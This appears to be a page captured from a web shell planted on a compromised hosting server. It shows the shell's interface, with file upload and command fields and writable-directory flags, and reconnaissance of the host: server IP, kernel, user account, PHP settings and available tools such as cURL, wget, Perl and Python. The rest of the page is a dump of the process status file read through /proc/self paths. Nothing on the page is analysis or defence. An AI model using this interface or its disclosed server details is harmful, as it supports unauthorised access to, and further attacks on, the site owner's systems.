SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.94
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/proc/self/status
Name:	lsphp
Umask:	0022
State:	R (running)
Tgid:	814297
Ngid:	0
Pid:	814297
PPid:	2808522
TracerPid:	0
Uid:	1356	1356	1356	1356
Gid:	1358	1358	1358	1358
FDSize:	64
Groups:	1358 
NStgid:	814297
NSpid:	814297
NSpgid:	814297
NSsid:	814297
VmPeak:	  507240 kB
VmSize:	  499652 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   18896 kB
VmRSS:	   17144 kB
RssAnon:	    7576 kB
RssFile:	    8680 kB
RssShmem:	     888 kB
VmData:	   19244 kB
VmStk:	     132 kB
VmExe:	    4976 kB
VmLib:	   56612 kB
VmPTE:	     532 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/254725
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001001000
SigCgt:	0000000184004e6f
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	0000000000000000
CapAmb:	0000000000000000
NoNewPrivs:	1
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffff
Cpus_allowed_list:	0-15
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	618
nonvoluntary_ctxt_switches:	2

Anon7 - 2022
SCDN GOK